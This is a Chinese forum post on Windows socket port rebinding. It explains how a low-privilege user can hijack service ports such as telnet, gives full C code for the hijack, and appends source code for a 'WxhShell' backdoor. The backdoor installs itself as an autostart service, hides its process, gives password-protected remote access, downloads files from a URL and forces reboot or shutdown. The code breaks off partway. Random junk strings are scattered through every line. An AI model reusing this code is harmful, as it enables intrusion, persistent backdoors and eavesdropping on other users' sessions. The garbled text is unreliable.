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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 9x1Dyz 2?F  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); W{h7+X]Y  
O(d'8`8  
  saddr.sin_family = AF_INET; k$>T(smh  
pi{ahuI#_o  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); + ThKqC_  
-5[GX3h0  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 8xX{y#  
2P=;r:cx  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 HHYcFoJwYN  
<*+ MBF  
  这意味着什么?意味着可以进行如下的攻击: ivq4/Y] -X  
pDLo`F}A  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 @RP|?Xc{?  
smU+:~  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) z)B=<4r  
>gE_?%a[  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 R[c_L=  
x,%&[ 6(  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  S@#L!sT`u  
-*A'6%`  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 |3L MVN  
"mf;k^sqS  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 Xy{+=UY  
uE$o4X  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 Sf8d|R@O  
E(8g(?4  
  #include xlLS`  
  #include rBf?kDt6l  
  #include  #L)rz u  
  #include    LcXMOT)s  
  DWORD WINAPI ClientThread(LPVOID lpParam);   'w2;oO  
  int main() Z:_y,( 1Q  
  { ?zEF?LJoK  
  WORD wVersionRequested; (AYD @  
  DWORD ret; d#\n)eGr  
  WSADATA wsaData; dq(x@&J  
  BOOL val; >g&`g}xZQ  
  SOCKADDR_IN saddr; +*V; f,  
  SOCKADDR_IN scaddr; 7yp*I[1Qf>  
  int err; :dzU]pk%0  
  SOCKET s; +0 MKh  
  SOCKET sc; Sx2j~(pOr  
  int caddsize; hqPn~Tq  
  HANDLE mt; q*O KA5  
  DWORD tid;   YYHm0pc  
  wVersionRequested = MAKEWORD( 2, 2 ); .IXwa,  
  err = WSAStartup( wVersionRequested, &wsaData ); y#+o*(=fRE  
  if ( err != 0 ) { ?la_ +;m  
  printf("error!WSAStartup failed!\n"); * 5n:+Tw(  
  return -1; J%)2,szn0  
  } p2G8 Qls  
  saddr.sin_family = AF_INET; .D .Rn/  
   l 5FQ!>IM  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 {76!  
SOmn2 }   
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); [/G;XHL;?  
  saddr.sin_port = htons(23); 7,TWCVap  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ~|rkt`8p  
  { 5WT\0]RUa  
  printf("error!socket failed!\n"); nlW&(cH  
  return -1; 0,/x#  
  } "tM/`:Qp  
  val = TRUE; Be+:-t)  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 Pc'?p  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) N+5 ^h(~  
  { gEP E9ew  
  printf("error!setsockopt failed!\n"); >9`ep7  
  return -1; m+vEs,W.  
  } i7V~LO:gq  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; >{a,]q*  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 =]e^8;e9  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 +pvJ?"J  
Br5Io=/wg  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) `Ny8u")=  
  { 1 1CJT  
  ret=GetLastError(); s?k[_|)!  
  printf("error!bind failed!\n"); " 44?n <1  
  return -1; &J$5+"/;X  
  } Wi^rnr'S s  
  listen(s,2); I?>T"nV +'  
  while(1) $sZHApJV+  
  { *a!!(cZZ  
  caddsize = sizeof(scaddr); dn_OfK  
  //接受连接请求 D}sGBsOW  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 070IBAk}_  
  if(sc!=INVALID_SOCKET) )1Nnn  
  { RFY!o<   
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); -G#k/Rz6  
  if(mt==NULL) .E#Sm?gK  
  { 5Q`n6x|  
  printf("Thread Creat Failed!\n"); (JW?azU  
  break; -P>=WZu  
  } C+XZDY(=Z  
  } 4rG 7\  
  CloseHandle(mt); 1m;*fs  
  } *]R 0z|MW  
  closesocket(s); CqK#O'\  
  WSACleanup(); {yMA7W7]  
  return 0; l-}5@D[  
  }   RJwIN,&1.  
  DWORD WINAPI ClientThread(LPVOID lpParam) $3[\:+  
  { "H<#91^|  
  SOCKET ss = (SOCKET)lpParam; NxO^VUD  
  SOCKET sc; <0)ud)~u  
  unsigned char buf[4096]; Ch"8cl;Fm  
  SOCKADDR_IN saddr; 8Ql'(5|T  
  long num; bs EpET  
  DWORD val; W'h0Zg  
  DWORD ret; ^!o}>ls['  
  //如果是隐藏端口应用的话,可以在此处加一些判断 (M,VwwN  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   Ir"Q%>K0f  
  saddr.sin_family = AF_INET; m\M+pjz  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); P lH`(n#  
  saddr.sin_port = htons(23); $'YKB8C  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Tw;qY  
  { WwtE=od  
  printf("error!socket failed!\n"); D"4&9"CU  
  return -1; V9u\;5oL  
  } 86fK= G:>  
  val = 100; c[_^bs>k  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) T% 13 '  
  { cvE.r330|  
  ret = GetLastError(); LG{inhbp  
  return -1; 7'i#!5  
  } 6\fMzm  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) P3tG#cJ  
  { U!?gdX  
  ret = GetLastError(); 5}bZs` C  
  return -1; D%UZ'bHN*  
  } 8<g#$(a_E  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) exO#>th1  
  { [ []SkLZHg  
  printf("error!socket connect failed!\n"); zX [ r  
  closesocket(sc); 4:&qT Y)H  
  closesocket(ss); in #]3QGV  
  return -1; m+2`"1IE[  
  } i4zV(  
  while(1) 1"&;1Ts  
  { 6$s0-{^  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 _b_?9b-)D  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 ``|RO[+2  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 dM s||&|&  
  num = recv(ss,buf,4096,0); {{ *]bGko  
  if(num>0) X";Z Up  
  send(sc,buf,num,0); !Nl.Vb  
  else if(num==0) M*|VLOo=v  
  break; }"?nU4q;S  
  num = recv(sc,buf,4096,0); p^igscPF6  
  if(num>0) $@_t5?n``F  
  send(ss,buf,num,0); <2O7R}j7v  
  else if(num==0) gZlw  
  break; \D U^idp#  
  } xDGS`U  
  closesocket(ss); guOSO@  
  closesocket(sc); PN"8 Y  
  return 0 ; .6ngo0<g   
  } H >:4MY  
a=*ALd_&0  
S1^nC tSF  
========================================================== ]TBtLU3  
Bug}^t{M  
下边附上一个代码,,WXhSHELL YYE8/\+B.  
Z@,PZ   
========================================================== WVWS7N\  
w^])(  
#include "stdafx.h" qfG tUkSSb  
6`qr:.  
#include <stdio.h> 3g0u#t{  
#include <string.h> g+}s:9  
#include <windows.h> aM{@1m Bm  
#include <winsock2.h> 8pk#sJ51  
#include <winsvc.h> f(6UL31  
#include <urlmon.h> P}hY {y'  
Z.:<TrN  
#pragma comment (lib, "Ws2_32.lib") Q^lQi\[  
#pragma comment (lib, "urlmon.lib") kOAY@a  
d]CviQUq  
#define MAX_USER   100 // 最大客户端连接数 97Zk P=Cq  
#define BUF_SOCK   200 // sock buffer Wm)-zvNY;  
#define KEY_BUFF   255 // 输入 buffer NFY|^*bll  
L$lo~7<]  
#define REBOOT     0   // 重启 tS (i711  
#define SHUTDOWN   1   // 关机 6h2x~@  
t{Hh&HX  
#define DEF_PORT   5000 // 监听端口 9^PRX  
22GnbA7O  
#define REG_LEN     16   // 注册表键长度 4`8IFK  
#define SVC_LEN     80   // NT服务名长度 to&N22a$  
\5Vp6^  
// 从dll定义API %6A-OF  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); [A"H/Qztk  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 'h^-t^:<>b  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); #9$V 08  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); +ze}0lrEL  
0R@g(  
// wxhshell配置信息 #vj#! 1  
struct WSCFG { $ZI~8rI~  
  int ws_port;         // 监听端口 $5lW)q A  
  char ws_passstr[REG_LEN]; // 口令 =[P%_v``  
  int ws_autoins;       // 安装标记, 1=yes 0=no ~V2ajM1Z&O  
  char ws_regname[REG_LEN]; // 注册表键名 4= Tpi`  
  char ws_svcname[REG_LEN]; // 服务名 5S%C~iB  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 D3S+LV  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 -9OMn}w/*  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 (Qk&g"I  
int ws_downexe;       // 下载执行标记, 1=yes 0=no [,O`MU  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ! Ea&]G  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 d7"U WY^  
bQwdgc),s{  
}; L$1K7<i.  
"xvtqi,R  
// default Wxhshell configuration m ~u|VgD  
struct WSCFG wscfg={DEF_PORT, dD/t_ {h  
    "xuhuanlingzhe", PwW^y#96  
    1, sDLS*467  
    "Wxhshell", :1aL9 fT  
    "Wxhshell", %K h2E2Pe  
            "WxhShell Service", A\".t=+7  
    "Wrsky Windows CmdShell Service", ;Z ]<S_#-  
    "Please Input Your Password: ", Fn:.Y8%-  
  1, atY *8I|  
  "http://www.wrsky.com/wxhshell.exe", K??1,I  
  "Wxhshell.exe" ~ HK1X  
    }; 8[{|xh(  
[_WI8~g Y  
// 消息定义模块 g4N%PV8  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; jHAWK9fa  
char *msg_ws_prompt="\n\r? for help\n\r#>"; /M3y)K`^  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ku{XW8  
char *msg_ws_ext="\n\rExit."; cz2,",+~  
char *msg_ws_end="\n\rQuit."; 6Z~Ya\~.g.  
char *msg_ws_boot="\n\rReboot..."; .zvlRt.zl  
char *msg_ws_poff="\n\rShutdown..."; &/s~? Iq  
char *msg_ws_down="\n\rSave to "; \ V6   
}{ n\tzR  
char *msg_ws_err="\n\rErr!"; +0]'| tF>  
char *msg_ws_ok="\n\rOK!"; g<fDY6jt  
WP5VcBC  
char ExeFile[MAX_PATH]; Bv^+d\*1  
int nUser = 0; Z^s+vi  
HANDLE handles[MAX_USER]; bvl~[p$W3  
int OsIsNt; $^}[g9]1  
jip\4{'N  
SERVICE_STATUS       serviceStatus; f hQy36i@  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 7}Bj|]b)~  
}>V/H]B  
// 函数声明 MZT6g.ny  
int Install(void); NMXnrvS&  
int Uninstall(void); hUVk54~l  
int DownloadFile(char *sURL, SOCKET wsh); i{8]'fM  
int Boot(int flag); 16I&7=S,  
void HideProc(void); I>{!U$  
int GetOsVer(void); {3hqp*xl  
int Wxhshell(SOCKET wsl); 8N% z9b  
void TalkWithClient(void *cs); 7p^@;@V  
int CmdShell(SOCKET sock); Oe/6.h?  
int StartFromService(void); vQUZVq5M  
int StartWxhshell(LPSTR lpCmdLine); %yp5DD}|  
[s~JceUyX  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Z<;U:aH?}  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); *=Doe2(!C  
 "Y7+{  
// 数据结构和表定义 {AOG"T&<  
SERVICE_TABLE_ENTRY DispatchTable[] = f'&GFL=c  
{ .eo~?u<j&  
{wscfg.ws_svcname, NTServiceMain}, ^IBGYl5n  
{NULL, NULL} "OO96F  
}; U^[<  
%JQ~!3  
// 自我安装 Va7c#P?  
int Install(void) ~LbS~_\C=  
{ O#Z/+\U  
  char svExeFile[MAX_PATH]; gmY/STN   
  HKEY key; a:A n=NA  
  strcpy(svExeFile,ExeFile); +0J@y1  
~\$=w10  
// 如果是win9x系统,修改注册表设为自启动 AYcgi  
if(!OsIsNt) { .U9 R> #  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { D9.`hs0  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); )u;JwFstX  
  RegCloseKey(key); .d~\Ysve  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { U;g S[8,p  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Sk\n;mL:  
  RegCloseKey(key); 4qt+uNe!  
  return 0; 7rcA[)<'  
    } ;K_}A4K  
  } JWWYVl VC  
} \PbvN\L  
else { NPm;  
9JPEj-3`g  
// 如果是NT以上系统,安装为系统服务 zG#wu   
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Q&xjF@I  
if (schSCManager!=0) zsDocR   
{ %zzYleJ!]  
  SC_HANDLE schService = CreateService ;WD,x:>blO  
  ( f^p^Y F+  
  schSCManager, EUy(T1Cl&&  
  wscfg.ws_svcname, #--olEj!  
  wscfg.ws_svcdisp, O|I+],  
  SERVICE_ALL_ACCESS, $Jp~\_X  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , "(,2L,Zh  
  SERVICE_AUTO_START, f2yq8/J8.  
  SERVICE_ERROR_NORMAL, 9_ZBV{   
  svExeFile, yHNuU)Ft  
  NULL, 7X}TB\N1  
  NULL, BX[~% iE  
  NULL, edijfhn  
  NULL, J!hFN]M<<  
  NULL TQf L%JT  
  ); BC! 6O/kr  
  if (schService!=0) U]hF   
  { hv>KX  
  CloseServiceHandle(schService); dv~pddOs  
  CloseServiceHandle(schSCManager); H_w%'v&  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); l4vTU=  
  strcat(svExeFile,wscfg.ws_svcname); 4(=kE>n}  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { oQT2S>cm^  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); :"QfF@Z{  
  RegCloseKey(key); NQX>Qh 2  
  return 0; o0ZBi|U\4  
    } S8" f]5s  
  } zrRFn `B  
  CloseServiceHandle(schSCManager); Z/<#n\>t0>  
} 7+nm31,<O  
} >{5 p0  
\\:|Odd  
return 1; &nY;=Hv`WY  
} r\2vl8X~  
7 Wl-n  
// 自我卸载 ~$<UE}qp  
int Uninstall(void) CqFeF?xd8h  
{ uSN"vpc4D  
  HKEY key; Nxk(mec"  
$6h*l T<  
if(!OsIsNt) { J;}3t!  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ?Ik4  
  RegDeleteValue(key,wscfg.ws_regname); ~y /!fnv  
  RegCloseKey(key); A]o4Mf0>I  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Bz /@c)  
  RegDeleteValue(key,wscfg.ws_regname); 1%~[rnQ  
  RegCloseKey(key); sw;|'N$:<  
  return 0; 0[xpEiDx  
  } oC*=JJe,  
} gL3iw!7  
} Pbn!KX~F~  
else { W:`#% :C  
@gY\;[#.  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ; s|w{.<:  
if (schSCManager!=0) [AS}RV  
{ dJ ~Zr)>  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); lCIDBBjy^  
  if (schService!=0) Ez+Z[*C  
  { l_{8+\`!  
  if(DeleteService(schService)!=0) { epg#HNP7^Y  
  CloseServiceHandle(schService); J !HjeZ  
  CloseServiceHandle(schSCManager); g(Yb^'X/  
  return 0; sOBu7!G%  
  } 65TfFcQ<S  
  CloseServiceHandle(schService); &GhPvrxI?  
  } CnISe^h  
  CloseServiceHandle(schSCManager); uw AwWgl  
} G[,Q95`w?<  
} X~oK[Nf'9  
ik.A1j9oN  
return 1; vLT0ETHg6  
} ZnW@YC#9  
W*N$'%  
// 从指定url下载文件 IH9.F  
int DownloadFile(char *sURL, SOCKET wsh) By)u-)g9  
{ d0'HDVd  
  HRESULT hr; z>m=h)9d~  
char seps[]= "/"; P7.'kX9  
char *token; i-" p)2d=#  
char *file; *\G)z|^yx  
char myURL[MAX_PATH]; 0bS|fMgc  
char myFILE[MAX_PATH]; (R!hjw~  
-0C@hM,wm  
strcpy(myURL,sURL); @-&MA)SN  
  token=strtok(myURL,seps); T-_"|-k}P%  
  while(token!=NULL) =(HeF.!  
  { c>:R3^\lwx  
    file=token; bBc[bc>R  
  token=strtok(NULL,seps); O+vS|  
  } E"~2./+rd  
/Ncm^b4  
GetCurrentDirectory(MAX_PATH,myFILE); 9X$ma/P[  
strcat(myFILE, "\\"); a<~77~"4wn  
strcat(myFILE, file); eHiy,IN  
  send(wsh,myFILE,strlen(myFILE),0); 47K1$3P  
send(wsh,"...",3,0); tDg}Ys=4K>  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); )2IH 5  
  if(hr==S_OK) [ic870_  
return 0; *Hz^K0:8(  
else f+_h !j  
return 1; Z?5V4F:f  
=O).Lx2J  
} "A$!, PX6  
t. ='/`!N  
// 系统电源模块 **3 z;58i  
int Boot(int flag) 9iUrnG*  
{ q 11IkDa  
  HANDLE hToken; )3Z ^h<"j  
  TOKEN_PRIVILEGES tkp; Ej ".axjT  
W2FD+ wt  
  if(OsIsNt) { _tTNG2  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); gKYfQ+  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); $5D,sEC@  
    tkp.PrivilegeCount = 1; -i yyn ^|  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ngohtB^]  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 2;a(8^n  
if(flag==REBOOT) { jRSUp E8  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) }|u4 W?H  
  return 0; ,EGQ@:3/  
} KGH/^!u+R  
else { w-wV3Q6X  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) :L44]K5FL  
  return 0; mpPdG  
} u_(VEfs4  
  } Od4E x;F  
  else { eIRLNxt+v  
if(flag==REBOOT) { ia\eLzj  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) E;JsBH  
  return 0; +LM#n#T  
} bef_rH@`  
else { Oy U  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ~T&<CTh  
  return 0; l&iq5}[n&  
} (bsXo q  
} n8*;lK8  
"j;4 k.`h  
return 1; )M6w5g  
} Q8!) !r%  
$hivlI-7Ko  
// win9x进程隐藏模块 4RSHZAJg  
void HideProc(void) OQW#a[=WQ  
{ h 3]wL.V  
wr[,  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ^6_e=jIN  
  if ( hKernel != NULL ) Oo"^%F~%  
  { Ag{iq(X  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); d&ex5CU5  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);  J5^'HU3  
    FreeLibrary(hKernel); &boOtl^  
  } 8GvJ0Jq}U  
rM'=_nmi  
return; xx[9~z=d  
} ZI=%JU(  
"@?? Fw!  
// 获取操作系统版本 *h}XWBC1q  
int GetOsVer(void) uV!^,,~  
{ Q09[[  
  OSVERSIONINFO winfo; +L7n<U3  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); $STaQ28C  
  GetVersionEx(&winfo); 1P~X8=9h  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) h }B% /U  
  return 1; >}+/{(K"E|  
  else `s\?w5[  
  return 0; .Fdgb4>BXX  
} :2 *g~6  
9 FB19  
// 客户端句柄模块 -r-k_6QP  
int Wxhshell(SOCKET wsl) u(fm@+$^  
{ G1vNt7  
  SOCKET wsh; 0aG ni|  
  struct sockaddr_in client; rg^'S1x|  
  DWORD myID; e" St_z(  
:A/d to  
  while(nUser<MAX_USER) 5H*\t 7  
{ TWA-.>c  
  int nSize=sizeof(client); Z'"tB/=W  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); :]\([Q+a  
  if(wsh==INVALID_SOCKET) return 1; eEuvl`&  
_d5QbTe  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); "wNJ  
if(handles[nUser]==0) 9I}-[|`u  
  closesocket(wsh); ,6-:VIHQ  
else Wk)OkIFR  
  nUser++; \O2Rhz  
  } 3B84^>U<  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); U4d:] z  
IZpP[hov  
  return 0; vEJWFoeEFm  
} 0cj>mj1M  
e 9;~P}  
// 关闭 socket !@}wDt  
void CloseIt(SOCKET wsh) I}1NB3>^  
{ wOU_*uY@6'  
closesocket(wsh); kM,C3x{A  
nUser--; 9[<)WQe6M  
ExitThread(0); RW<D<5C  
} <g"{Wv: h  
Y$"O VC  
// 客户端请求句柄 bbE!qk;hEP  
void TalkWithClient(void *cs) U~:-roQ(\  
{ 17%Mw@+  
P GqQ@6B  
  SOCKET wsh=(SOCKET)cs; Gefne[  
  char pwd[SVC_LEN]; 5>[u `  
  char cmd[KEY_BUFF]; ,J+}rPe"sf  
char chr[1]; 'uBu6G  
int i,j; ,U2*FZ["  
'Gj3:-xqL  
  while (nUser < MAX_USER) { 9Z4nAc  
]n6#VTz*  
if(wscfg.ws_passstr) { ]s<[D$ <,  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); OCe!.`  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); fU/>z]K  
  //ZeroMemory(pwd,KEY_BUFF); _852H$H\  
      i=0; EV]1ml k$  
  while(i<SVC_LEN) { hgPa6Kd  
fD[*_^;h)  
  // 设置超时 F1*>y  
  fd_set FdRead; IxY|>5z  
  struct timeval TimeOut; b,7k)ND1F  
  FD_ZERO(&FdRead); !2%HhiB'   
  FD_SET(wsh,&FdRead); ,o86}6Ag  
  TimeOut.tv_sec=8; B3 8]~'8  
  TimeOut.tv_usec=0; l9{hq/V  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); NPy&OcRl  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); rC5 p-B%  
,E S0NA  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); C5o#i*|  
  pwd=chr[0]; Y]'Z7<U}*E  
  if(chr[0]==0xd || chr[0]==0xa) { 0X6YdW_2X  
  pwd=0; +^60T$  
  break; TM%| '^)  
  } "\: `/k3  
  i++; =$'6(aDH  
    } ^aItoJq  
0"<H;7K#W  
  // 如果是非法用户,关闭 socket V?6a 8lJ  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ZMQ Zs~;~d  
} .*OdqLz  
wr$("A(  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); oH97=>  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); y%"{I7!A  
XP!S$Q]D  
while(1) { mE+*)gb:Rd  
~Y^+M*   
  ZeroMemory(cmd,KEY_BUFF); (KjoSN( K  
+}Dw3;W}m  
      // 自动支持客户端 telnet标准   \ 2M_\Q`NY  
  j=0; |jGf<Bf5  
  while(j<KEY_BUFF) { IaSR;/  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); <FV1Wz  
  cmd[j]=chr[0]; \V;F/Zy(  
  if(chr[0]==0xa || chr[0]==0xd) { jys:5P  
  cmd[j]=0; 8{^kQ/]'|  
  break; $*^7iT4q_t  
  } <}C oQz  
  j++; '$i: 2mn,  
    } ?1~`*LE  
03$mYS_?  
  // 下载文件 R`NYEptJ  
  if(strstr(cmd,"http://")) { KLST\ Ln:  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); B6MB48#0gs  
  if(DownloadFile(cmd,wsh)) T6\[iJI|  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); (nQ^  
  else p $S*dr  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 94'&b=5+  
  } y6(Z`lx  
  else { u|\1h LXX  
3#LlDC_WC  
    switch(cmd[0]) { %z=le7  
  /CrSu  
  // 帮助 zVViLUwG  
  case '?': { 5%Y3 Kwyy  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); {&&z-^  
    break; ?g_3 [Fk  
  } ; 5*&xz  
  // 安装 'TTLo|@"-  
  case 'i': { Xr,1&"B&t  
    if(Install()) G<L;4nA)  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); yuh *  
    else <$D`Z-6  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); =*oJEy"  
    break; N=V==Dbu-  
    } OAgniLv  
  // 卸载 9SX +  
  case 'r': { k R?qb6  
    if(Uninstall()) y6g&Y.:o  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); >xN .F/[K  
    else M[NV )q/)  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); j * %  
    break; 'NWfBJm  
    } &h}#HS>l  
  // 显示 wxhshell 所在路径 iDpSj!x/_  
  case 'p': { _P!m%34|  
    char svExeFile[MAX_PATH]; bL0yuAwF2  
    strcpy(svExeFile,"\n\r"); xVw9v6@`h  
      strcat(svExeFile,ExeFile); 2R[:]-b  
        send(wsh,svExeFile,strlen(svExeFile),0); sU=H&D99  
    break; D(~U6SR  
    } Kew@&j~  
  // 重启 j`EXlc~  
  case 'b': { ))qy;Q,  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); C"y(5U)d  
    if(Boot(REBOOT)) dn& s*  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); vx{}}/B]J  
    else { })'B<vq  
    closesocket(wsh); ,V7nzhA2  
    ExitThread(0); 0 j^Kgx  
    } B`EJb71^Xy  
    break; Lc}LGq!  
    } 9=s<Ld  
  // 关机 ko!)s  
  case 'd': { kXViWOXU^  
